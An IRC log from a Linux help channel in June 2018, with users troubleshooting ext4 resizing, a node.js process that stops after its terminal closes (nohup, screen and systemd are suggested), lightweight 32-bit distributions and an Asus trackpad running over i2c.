23:11 < qrvpzvb> can I resize an ext4 fs
23:11 < ayecee> qrvpzvb: i don't see why not
23:11 < RyansWorld> I cant figure out why a process would run just fine for 2 hours then stop, maybe i need to investigate systemd
23:11 < qrvpzvb> or rather, can I change the start?
23:11 < Dagmar> No
23:11 < iflema> TomyLobo: open code... too "large"
23:11 < TomyLobo> ctrl+-
23:12 < ayecee> qrvpzvb: you could shrink it, then move it
23:12 < qrvpzvb> ayecee: move it?
23:12 < TomyLobo> i dont see your point. it works. it fixes a number of inherent flaws in the previous system. it doesn't take a degree to develop for like the previous system did
23:12 < TomyLobo> so what do i care if someone thinks the code is large
23:12 < Karut> OpenSorce: do you remember the name?
23:13 < ayecee> qrvpzvb: yes, move it to a new position on the disk
23:13 < TomyLobo> it's still several orders of magnitude shy of windows :D
23:13 < ayecee> qrvpzvb: which may overlap the old position. it's kind of like changing the start, but a little different.
23:13 < qrvpzvb> ayecee: what does that mean? what command does that?
23:13 < OpenSorce> Karut, Okay the old one does not seem to be supported any longer. This one should work for you. Home Remote Control
23:13 < ayecee> gparted can do that
23:14 < OpenSorce> Karut, just sent the link in a private message.
23:16 < ayecee> it's a trap!
23:16 < revel> Karut: Are you a Korean musician?
23:16 < Karut> OpenSorce: the kink is to the android apk but idk wheres the webpage? idk if its in the arch repos
23:16 < TomyLobo> RyansWorld, what's the background process doing?
23:16 < OpenSorce> Karut, it gives instruction about how to setup the Linux side
23:16 < TomyLobo> does it consume a lot of RAM and then get oomkilled maybe? :)
23:17 < RyansWorld> running a node.js server named app.js
23:17 < iflema> i might tyr the devuan desktop
23:17 < iflema> is that a thing...
23:17 < TomyLobo> RyansWorld, not as root, i hope ^^
23:17 < RyansWorld> i dont think so
23:17 < TomyLobo> iflema, they'll probably scald you for even using a desktop ^^
23:17 < Karut> okay ty OpenSorce
23:18 < iflema> double mould?
23:18 < RyansWorld> its a really strange issue ive been trying to figure out for a couple of days :p
23:18 < OpenSorce> Karut, no problem. I've used that one before as well.
23:18 < TomyLobo> RyansWorld, well do try turning it into a systemd service and see if that fixes it. if not, you now have the journal to help you diagnose :)
23:19 < Dagmar> Or, you'll have one problem wrapped snugly inside another
23:19 < Dagmar> Just add nougat
23:19 < TomyLobo> RyansWorld, how are you invoking it right now, btw?
23:19 < domhnall> hmm, need some advice on pointers. Looking to run gtk_run() on gnome, (gtk-run.c) as in lxde's lxpanelctl. Problem is, can't find it.
23:19 < RyansWorld> node app.js &
23:20 < RyansWorld> and it does fine for 2 hours on the dot
23:20 < TomyLobo> and you close the terminal?
23:20 < RyansWorld> then stops
23:20 < RyansWorld> yep
23:20 < RyansWorld> i close terminal
23:20 < TomyLobo> maybe it needs stdin?
23:20 < TomyLobo> try nohup
23:20 < RyansWorld> ok ill try about anything lol
23:20 < TomyLobo> but really, nohup is the 90s solution to this :)
23:20 < RyansWorld> ha
23:21 < RyansWorld> do you find it strange that it would work for 2 hours?
23:21 < TomyLobo> do you need to interact with it, ctrl-c it or something?
23:21 < domhnall> hm, didnt check GtkWidget yet...looking now.
23:22 < TomyLobo> RyansWorld, a bit, yeah
23:22 < TomyLobo> but who knows what node.js is doing ^^
23:22 < RyansWorld> yeah
23:22 < TomyLobo> anyway, you can try running it in a screen session
23:22 < TomyLobo> see if that works better
23:23 < TomyLobo> detach it, dont close it
23:23 < mgolisch> how are you starting it that it wont quit when you close your terminal
23:23 < Dagmar> genii: Yes, I actually do a lot of research stuff
23:23 < Dagmar> $#@@#$@#
23:23 < TomyLobo> and you should probably not & it either
23:23 < RyansWorld> mgolisch: i was using &
23:24  * iflema trys some "german gifts"
23:24 < TomyLobo> bratwurst and sauerkraut?
23:25 < TomyLobo> RyansWorld, if you run it in a screen session and detach from it, the program should behave just like if you kept the terminal open
23:25 < TomyLobo> RyansWorld, you know how screen works?
23:26 < RyansWorld> no but im writing it down to try
23:26  * iflema smoke me kipper...
23:27 < RyansWorld> after using nohup do you just close terminal?
23:27 < TomyLobo> 1. apt-get install screen  (you were on ubuntu, right?)  2. run "screen"  3. confirm startup box with enter  4. run your program as you would normally (without the "&")  5. detach with ctrl-a ctrl-d
23:27 < TomyLobo> RyansWorld, yeah, but if i were you i'd try screen
23:28 < RyansWorld> ok
23:28 < TomyLobo> that way you can be sure that the program runs fine in a terminal
23:28 < TomyLobo> and that the absence of a terminal isnt causing any trouble
23:28 < RyansWorld> ok thank you for the suggestions i will try them all before i ask anything else :p
23:29 < RyansWorld> could it have anything to do with how aws lightsail handles their vps?
23:29 < TomyLobo> and as i mentioned, systemd... it's there to be used :)
23:29 < RyansWorld> roger that
23:29 < TomyLobo> i would be surprised if they went into your VM and killed your processes ^^
23:29 < RyansWorld> lol
23:29 < RyansWorld> noted
23:29 < TomyLobo> but i dont know what lightsail is
23:30 < RyansWorld> just what they call their lower tier cloud hosting
23:30 < lopta> Is there a light Linux distribution that might suit a 32-bit PC?
23:30 < RyansWorld> ya linux
23:30 < RyansWorld> ubuntu 16.04
23:31 < TomyLobo> lopta, do they still make 32 bit intels?
23:33 < Pentode> for embedded systems they do
23:34 < TomyLobo> interesting
23:34 < RyansWorld> ok i tried screen
23:35 < TomyLobo> that must be slive of a sliver of a sliver of a market
23:35 < RyansWorld> wish me luck :D
23:35 < TomyLobo> RyansWorld, good ryans i mean riddance
23:35 < RyansWorld> Sorry to bother you
23:35 < kamura> I've never used screen
23:35 < kamura> only tmux
23:36 < lopta> TomyLobo: Possibly Quark but that might require a special build because of its segfault bug.
23:36 < TomyLobo> kamura, lucky you :)
23:37 < Dagmar> Surely you're not talking about that nasty publishing package
23:38 < lopta> Dagmar: No, a 32-bit processor from Intel.
23:38 < kamura> I think I'm starting to loose my mind with abstracted terminals though
23:38 < TomyLobo> probably an atom?
23:38 < lopta> No, Quark is smaller than Atom
23:39 < lopta> (as the name suggests)
23:39 < Dagmar> ...and probably more expensive
23:39 < lopta> ...and Atom is usually (not always) 64-bit.
23:40 < TomyLobo> oh i thought someone else said quark, not you ^^
23:40 < kamura> keeping up with with what window in what tab of which terminal on which desktop
23:41 < TomyLobo> but that sounds like you didnt get the quark yet?
23:41 < TomyLobo> if so, why intel, why not arm?
23:41 < TheSHAD0W> Howdy.  Got an Asus laptop with Xubuntu on it.  Trackpad isn't working.  Seems to somehow be combined with the keyboard device?  Shows up under "Mouse and Trackpad" as "ITE Tech Inc ITE device(8910)".  When checking inputs, selecting that device, touching the trackpad showed nothing but typing on the keyboard showed up in that channel.
23:41 < TomyLobo> kamura, on which screen on which computer
23:41 < lopta> TomyLobo: I lean towards ARM.  In this case I'm looking for something that'll run on VIA C3 boards.
23:42 < Dagmar> Oh god
23:42 < Dagmar> You couldn't find a better supplier?
23:42  * TheSHAD0W shrugs
23:42 < Pentode> TheSHAD0W, it's becoming more and more popular to use i2c for input devices on newer portable machines. maybe look in that area?
23:43 < lopta> Heh... these are boards that are already in place.
23:43 < Dagmar> Ah okay
23:43 < TheSHAD0W> Got any links that would eli5?  :-P
23:43 < lopta> Dagmar: I will use something different for their eventual replacement.
23:43 < Dagmar> Thank god
23:43 < Dagmar> Everyone involved with Cyrix should have been banned from working in the field for ten years
23:44 < Dagmar> ...or at least required to have adult supervision
23:44 < TheSHAD0W> There is an "SMBus" device...
23:45 < Pentode> smbus is usually only for communicating with power sources and things like that
23:45 < kamura> TomyLobo: I mainly use a laptop so that keeps it to one screen at least ;)
23:45 < Pentode> its probably for the battery/charging controller
23:46 < Pentode> i suppose a masochistic company _could_ use it for a pointing device input
23:46 < Pentode> the two are pretty similar, anyway.
23:47 < Dagmar> i2c has a good foothold because it's easy, well-documented, and cheap
23:47 < Pentode> why dont you look for detailed specifications for it?
23:48 < Dagmar> ...and did I mention *easy*
23:48 < Pentode> Dagmar, yeah. apparently some companies _are_ using smbus for HID as well
23:48 < lopta> I2C is certainly very popular.
23:48 < lopta> It has achieved critical mass.
23:48 < mawk> i2c is sloooooooooooooow
23:48 < mawk> SPI is faster and easier at the same time
23:49 < Dagmar> One simple google search has revealed that its just a USB device
23:50  * lopta nods
23:51 < lopta> I've heard good things about SPI too.
23:51 < mawk> yeah
23:51 < mawk> only thing is that it takes a lot of pins
23:51 < Dagmar> Further GOogle'n is not showing anything good
23:51 < mawk> where i2c takes only two pins
23:52 < Dagmar> okay... You MIGHT find a solution 1-2 clicks from https://forum.manjaro.org/t/touchpad-elan-does-not-work-correctly-asus-fx503vd/48187/6
23:52 < Dagmar> There's reference to an LWN article halfway down the page
23:53 < Dagmar> ...and further down reference to a github project that *might* provide a working HID driver
23:53 < mawk> HID isn't that hard anyway
23:53 < mawk> you could write the driver yourself
23:53 < mawk> in userland
23:54 < Dagmar> Assuming you had any idea WTF the data coming out of the touchpad meant
23:54 < brotherSand> exit
23:54 < brotherSand> whoops
23:54 < Pentode> stage left!
23:54 < Dagmar> ...and an IQ probably twice that of the average user
23:54 < mawk> indeed Dagmar
23:58 < diverdude> hi, i am trying to figure our why i have full system disk. I am running this command sudo du -d 1 -h  and getting this output: https://paste.ubuntu.com/p/zfzbsTdxyR/. HD is 8G, but the output of that command is nowhere near 8G. Where is all the space then being used?
23:58 < Dagmar> A lot of the stuff I see the name "ELAN" attached to reminds me of why I won't touch some of these chinese webcams anymore
--- Log closed Tue Jun 12 00:00:00 2018